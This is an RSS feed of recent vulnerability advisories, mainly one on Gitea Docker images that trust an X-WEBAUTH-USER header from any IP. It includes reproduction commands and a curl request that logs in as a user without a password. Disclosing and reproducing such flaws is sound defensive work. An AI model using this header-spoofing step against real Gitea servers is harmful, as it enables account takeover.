<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 11:35:02 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-09304</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-09304</link>
      <description>bdu:2026-09304</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-09304</guid>
    </item>
    <item>
      <title>EUVD-2026-333759</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-333759</link>
      <description>EUVD-2026-333759</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-333759</guid>
    </item>
    <item>
      <title>fkie_cve-2026-20896</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-20896</link>
      <description>&lt;p&gt;Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Gitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by default, allowing any source IP to impersonate a user when reverse-proxy authentication headers such as X-WEBAUTH-USER are enabled.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-20896</guid>
    </item>
    <item>
      <title>GHSA-f75j-4cw6-rmx4 — Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-…</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-f75j-4cw6-rmx4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: code.gitea.io/gitea&lt;/p&gt;
&lt;p&gt;# Summary&lt;/p&gt;
&lt;p&gt;The Gitea Docker images ship an `app.ini` template that hard-codes:&lt;/p&gt;
&lt;p&gt;```
REVERSE_PROXY_TRUSTED_PROXIES = *
```&lt;/p&gt;
&lt;p&gt;The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.&lt;/p&gt;
&lt;p&gt;When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at &amp;#34;the default&amp;#34;, they expect only the proxy&amp;#39;s loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.&lt;/p&gt;
&lt;p&gt;## Affected&lt;/p&gt;
&lt;p&gt;- `gitea/gitea` Docker images (verified `1.26.2`)
- `docker/root/etc/templates/app.ini:55`
- `docker/rootless/etc/templates/app.ini:52`&lt;/p&gt;
&lt;p&gt;Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```
docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2&lt;/p&gt;
&lt;p&gt;sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password &amp;#34;longpasswordhere1234&amp;#34; \
  --email alice@x.test --must-change-password=false&lt;/p&gt;
&lt;p&gt;Now the attack::&lt;/p&gt;
&lt;p&gt;curl -s -L -H &amp;#34;X-WEBAUTH-USER: alice&amp;#34; http://localhost:3000/ \
  | grep -oE &amp;#39;&amp;lt;title&amp;gt;[^&amp;lt;]+&amp;lt;/title&amp;gt;&amp;#39;
```&lt;/p&gt;
&lt;p&gt;Output: `&amp;lt;title&amp;gt;alice - Dashboard - Gitea: Git with a cup of tea&amp;lt;/title&amp;gt;` — attacker is logged in as alice with one header, no password,…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: code.gitea.io/gitea&lt;/p&gt;
&lt;p&gt;# Summary&lt;/p&gt;
&lt;p&gt;The Gitea Docker images ship an `app.ini` template that hard-codes:&lt;/p&gt;
&lt;p&gt;```
REVERSE_PROXY_TRUSTED_PROXIES = *
```&lt;/p&gt;
&lt;p&gt;The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.&lt;/p&gt;
&lt;p&gt;When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at &amp;#34;the default&amp;#34;, they expect only the proxy&amp;#39;s loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.&lt;/p&gt;
&lt;p&gt;## Affected&lt;/p&gt;
&lt;p&gt;- `gitea/gitea` Docker images (verified `1.26.2`)
- `docker/root/etc/templates/app.ini:55`
- `docker/rootless/etc/templates/app.ini:52`&lt;/p&gt;
&lt;p&gt;Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```
docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2&lt;/p&gt;
&lt;p&gt;sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password &amp;#34;longpasswordhere1234&amp;#34; \
  --email alice@x.test --must-change-password=false&lt;/p&gt;
&lt;p&gt;Now the attack::&lt;/p&gt;
&lt;p&gt;curl -s -L -H &amp;#34;X-WEBAUTH-USER: alice&amp;#34; http://localhost:3000/ \
  | grep -oE &amp;#39;&amp;lt;title&amp;gt;[^&amp;lt;]+&amp;lt;/title&amp;gt;&amp;#39;
```&lt;/p&gt;
&lt;p&gt;Output: `&amp;lt;title&amp;gt;alice - Dashboard - Gitea: Git with a cup of tea&amp;lt;/title&amp;gt;` — attacker is logged in as alice with one header, no password,…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-f75j-4cw6-rmx4</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-2027 — Gitea: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2027</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um erweiterte Berechtigungen zu erlangen, sich als Benutzer auszugeben, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um erweiterte Berechtigungen zu erlangen, sich als Benutzer auszugeben, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2027</guid>
    </item>
  </channel>
</rss>
